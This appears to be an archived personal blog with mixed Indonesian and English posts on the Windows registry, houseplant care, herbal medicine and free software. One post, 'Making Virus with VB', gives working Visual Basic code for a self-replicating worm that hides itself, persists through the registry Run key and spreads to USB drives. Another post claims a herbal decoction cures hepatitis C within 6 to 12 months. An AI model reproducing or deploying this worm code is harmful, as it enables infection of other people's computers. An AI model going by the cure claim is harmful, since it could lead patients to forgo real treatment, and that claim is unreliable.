Diana Phon

Rahasia Registry windows xp

2010-10-06T10:46:00.001+07:00

Sebelum kita mengutak atik Registry yang ada pada windows xp terlebih dahulu kita harus mengenal beberapa "key" yang ada pada registry.

HKEY_CLASSES_ROOT
Berisikan berbagai hal yang di butuhkan oleh program aplikasi supaya dapat berjalan. Di antaranya, adalah jenis file (ekstensi file), asosiasi file tersebut dengan yang lainnya, nama driver, ikon, informasi DDE dan OLE, nomor Class ID, serta string yang di gunakan sebagai pointer ke teks asli. Apa yg terdapat pada key ini juga terdapat pada key : HKEY_LOCAL_MACHINE\software\classes.

HKEY_CURRENT_USER
Berisikan berbagai informasi mengenai user yang sedang menggunakan komputer alias log in saja. Informasi yang di simpan di antaranya, folder user, warna screen, dan control panel. Boleh di bilang key ini yang menyimpan pengaturan individu dari setiap user. Key ini akan merujuk pada HKEY_USER untuk mendapatkan pemakai yang sedang aktif.

HKEY_LOCAL_MACHINE
Berisikan berbagai simpanan setting supaya software, hardware, dan windows dapat bekerja. Masalah keamanan, user right, serta data sharing juga tersimpan pada key ini. Informasi konfigurasi tersebut berlaku untuk semua user.

HKEY_USER
Berisikan berbagai informasi setting yang sudah di atur oleh default user (berisi root seluruh user) juga user yang log in. termasuk menginformasikan ikon, start menu, warna, font, desktop, dan pengaturan control panel. HKEY_USER menyimpan mengenai informasi seluruh user, jadi berbeda dengan HKEY_CURRENT_USER yang khusus untuk user yang aktif saja.

HKEY_CURRENT_CONFIG
Berisikan berbagai konfigurasi hardware yang terdapat pada HKEY_LOCAL_MACHINE\config.

HKEY_DYN_DATA
Key ini sebenarnya hanya terdapat pada windows 9x saja dan tidak tersedia pada windows xp. Sebagai pengenalan saja, key ini tidak tersimpan di dalam harddisk. Melainkan, tersimpan dalam RAM yang di gunakan untuk mengontrol hardware. terutama untuk menangani plug n play.

Setelah mengenal key pada registry, sekarang waktunya untuk mengenal value yang ada pada registry.

String Value (REG_SZ)
Merupakan jenis data fixed-length text string. Data dalam Value jenis ini akan menyimpan data dalam bentuk teks.

salah satu masalah pada tanaman aglaonema

2010-05-26T16:17:00.006+07:00

Mengapa aglaonema mudah sobek dan warna kurang cerah? Warna daun aglaonema kurang cerah bisa terjadi karena kondisi media kurang basa. Untuk menaikkan pH tambahkan kapur pertanian / kapur dolomit 5% dari komposisi media. Daun aglaonema relatif mudah sobek. Untuk menghindarinya saat mengelap daun, sangga bagian bawah bawah daun memakai tangan. Selain itu taruh aglaonema pada posisi yang tak mudah bergesekan dengan benda lain.
Mengapa tiba-tiba muncul bercak kekuningan? Penyakit bercak kuning berhubungan dengan gangguan pada sistem perakaran. Cabut tanaman dari pot, putus dan buang akar yang busuk.Rendam akar yang tersisa memakai larutan bakterisida dan fungisida selama sekitar 10 menit, lalu tanam kembali. Gunakan media dengan aerasi baik seperti campuran arang sekam dan pakis kasar. siram pangkal batang dan media tanam dengan fungisida sejenis sepekan sekali selama 2 minggu. Beri pula zat perangsang akar seperti vit b1 dan rapid root.

hepatitis c

2010-03-25T20:51:00.005+07:00

Hepatitis C and pneumonia can weaken immunity. for the patients with hepatitis C and pneumonia have adequate rest and not too be too tired. to accelerate the recovery of hepatitis C patients and pneumonia can use herbal remedies that can be easily to get it.
and the materials needed to make the medicine is

- Rimpang temugiring (Curcuma heyneana) 5g
- Rimpang temulawak (Curcuma xanthorrhiza) 5g
- Biji jintan hitam (Nigella sativa) 3g
- Buah adas (Foeniculum Vulgare) 1g
- Kayu secang (caesalpinia sappan) 5g
- Daun sembung (blumea balsamifera) 1.5g

how to make
All materials on boiled in 2 cups water to boiling and the remaining glass. when boiling avoid using containers made of metal. use clay containers or pireks. after a warm, strain the cooking liquid and drink it between the hours of 19:00 to 20:00. do routine checks every 3 months. after taking medicine regularly for 6-12 months, will be negative for hepatitis c.

Rimpang temugiring	Rimpang temulawak	Biji jintan hitam	buah adas
Kayu secang	Daun sembung

switch to Indonesian language

free software

2009-09-05T11:22:00.014+07:00

here goes some software you can download for free

creditcard validation
Winrar.Password.Remover.v1.1.rar
PHPMaker_6.0.0.9.rar
yahoo messenger 9 beta install offline mode
HP printer 656c driver
Flash mx 2004
norton internet security
win xp indonesia
corel draw portable x3
bluetooth driver

Identify the plant anti-pollutant

2009-06-13T12:28:00.002+07:00

The state of the environment all the more solid with activities to create conditions of the air around us with a pollutant harmful to health of course. This, of course, must be prevented as early as possible to minimize its effect is greater. One way is to plant trees with the anti-pollutant that is able to absorb the pollutant. In addition to reduced pollution, we can also enjoy the beauty of plants as well as reduce global warming at this time to be a bugbear for viability. Here are some plants that have been examined and is able to absorb pollutant:

Sansevieria
Number of plants with more than 800 species have been known as a toxic plant penyerap, in each there is a compound leaf sansevieria active pregnane glykoside (substances capable of substances decompose into toxic compound organic acid, sugar, and some amino acid compound). Research conducted by NASA successfully reveals that this plant is able to absorb 107 the element of air pollution.

Puring
Puring known that leaved plants as beautiful and attractive, this plant was initially known as grave decoration. However, along with other popular ornamental plants puring are now rising as a class decorator potplant or landscape plants. In addition, note also that puring able to neutralize the air. In a study revealed that leaves puring have the ability to absorb best elements plumbum (plumbum / reciprocal) in the open air (2.05 mg / ltr).

Philodendron
The tree is in love (Philo means love and dendron means tree in Greek) has been known as ornamental plants in a pot that is quite stubborn. According to research conducted by NASA, including the plant can absorb the pollutant in the air in the room as formaldehid (usually found in the foamy material and dust particles on the carpet). When the human smell this substance and accumulated it, will causing the cancer. Which is also observable in addition to anti-pollutant plants are also toxic (contains calcium oksalat on all the plants). When the sap is exposed to the skin effect will cause itching and irritation, and if swallowed accidentally the effect will breathless, even if a high dose can cause coma and death.

Marginata tricolor
Marginata evidently able to reduce the pollution formaldehid.

Trembesi
this patron Tree is known as the highest absorption carbon dioxide.

That some plants that are useful to absorb pollutant. So start from your own environment with plant to plant anti-pollutant. Go GREEN

a week without water

2009-04-06T18:18:00.014+07:00

be ready to invite your children's picnic during the school holidays, but worry the plant drought?
try this way
Plug container of water on clay soil. container of water that seep slowly. "a week to stay in, we never need to provide water within a week." try to provide container with bird-like animal model, that will look more beautiful.

switch to indonesian language

Making Virus with VB

2009-04-06T18:18:00.008+07:00

1.hiding it self when running

Create a new project, and add a sub main (Project Add-Module)
Option explicit? Each variable must be declared
Sub main ()

App.TaskVisible = False does not appear in the taskbar
Form1.Visible = False does not display the form
End Sub

Make a sub main as your startup object program (Project-Project Properties-Startup Object, Sub Main)

Try Runing the program, is your program visible (the form and the taskbar)?

2.Enabling it self every System boot process.

Add a new sub with the name virusInstall

Sub VirusInstall()
Dim wShell As Object
Dim fSource As String
Dim fTarget As String
'take the path and name of the exe file
fSource = App.Path & "\" & App.EXEName & ".exe"
'duplicate to the windows folder
fTarget = Environ$("windir") & "\MyVirus.exe"
'Check if already been installed
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
Set wShell = CreateObject("WScript.Shell")
'run registry manipulation
wShell.regwrite "HKLM\Software\micr*soft\Windows\Run\MyVirus", fTarget
End If
End Sub

and enable the sub virusInstall from Sub Main

Sub Main()
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall ?install diri
End Sub

3.Through self-distribution of flash disk

?Add a global variable (in the general declaration section) to 1 on the flash disk only 1 time of infection (the virus that must be good, of course, in the efficient use of resources so that attendance can not be known quickly)

Dim infectedFlashDisk As Boolean ?flags have been infected or not

?Add the following sub for replication themselves to the virus
Public Sub replikasiDiri(targetDrive As String)
Dim fSource As String
Dim fTarget As String
'replication of the C: \ Windows (the location of the installation itself)
fSource = Environ$("windir") & "\MyVirus.exe"
'targets to the drive
fTarget = targetDrive + "\MyVirus.exe"
'do not replicate more than 1 times on the same media
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
End If
End Sub

? Add the following sub to monitor the existence of the flash
Public Sub sebarFlashDisk()
On Error GoTo BatalInfeksi
Dim AdaFlashDisk As Boolean
Dim ObjFSO As Object
Dim ObjDrive As Object

? create a file scripting object

Set ObjFSO = CreateObject("Scripting.FileSystemObject")
AdaFlashDisk = False
For Each ObjDrive In ObjFSO.Drives
'The assumption of all removable drive letters above C is a flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
AdaFlashDisk = True
'should not be repeated infection and the remaining capacity of> 100 kb
If Not infectedFlashDisk And ObjDrive.AvailableSpace > 102400 Then
Call replikasiDiri(ObjDrive.DriveLetter+? )
infectedFlashDisk = True?enable flag is infection
End If
End If
Next
If Not AdaFlashDisk Then?no flash disk
infectedFlashDisk = False ?reset flag has been infected
End If
CancelInfection:
End Sub

? Add timer control on the form1
Private Sub Timer1_Timer()
Call sebarFlashDisk ? enable the distribution flasdisk
End Sub
? Setting flag is set and the infection control timer through the main sub
Sub Main()
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall
'Set the global variable
infectedFlashDisk = False
'Set the time setting
Form1.Timer1.Interval = 5000
Form1.Timer1.Enabled = True
End Sub

4. Restrict themselves to only 1 times
Virus that must be efficient, of course, sparing resources and use of efficient algorithms, so that his presence is not felt by the user.

? Add findWindow function from WINAPI
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
? Add the function is active
Function active(Title As String) As Boolean
Dim vir_hwnd As Long

'If the virus is active window
'Search window with the same title

vir_hwnd = FindWindow(vbNullString, Title)
active = Not (vir_hwnd = 0)
End Function
? Modify sub Main
Sub Main()
Dim virusname As String
virusname = "MyVirus"
If Not active(nvirusname) Then? if not active yet
Form1.Visible = False
Call VirusInstall
'Set the global variable
infectedFlashDisk = False
'Set the time setting
Form1.Caption = virusname? Window title mark
Form1.Timer1.Interval = 5000
Form1.Timer1.Enabled = True
End If
End Sub

6. Change Icon MyVirus

7. Reduce the size of your executable virus
Results from compiling the program MyVirus size is 24,576 bytes, and of course, quite small for the size of VB virus, but would that be if the virus executable is smaller again, so the process of loading speed.
For the executable file can use software such as the Ultimate Packer for executable.
Upx Project.exe
And after the file size is 8704-bytes UPX.

8. Removing this virus
a. In the Run-Registry, go to HKLM \ Software \ micr * soft \ Windows \ Run and delete the value? MyVirus?
b. Delete the file C: \ Windows \ MyVirus.exe
Very Easy to enable the virus to stop that is made with VB, just rename msvb60 in the directory C: \ Windows \ winNT \ system32

enjoy it

how to nurse your plants and flowers in rainy day

2009-03-27T10:14:00.007+07:00

in rainy days we have to give more attention to our plants and flowers,because in that days many of plants will get infected by some of fungus so we have to nurse carefully and nicely to our plants,
its some trick i used to my plants when its raining.
what you have to prepare is
1. 1 or 2lt of water
2. fungicide (fungi poisons) I used dithane (its in Indonesia I don't know what its name in other country)
3. insecticide (insect poisons) I used decis (its in Indonesia I don't know what its name in other country)
4. prosticker (its in Indonesia I don't know what its name in other country)(its a medicine to make that pesticide stacking in the plant when the rain is coming)

after we prepare everything now we can mix all of them in one place like a bucket.
first we put the water in there, then
put 1gr dithane, and 1ml decis, and 0.5ml prosticker in the water until everything mixed. and its done, give our plants this water every evening

switch to indonesian language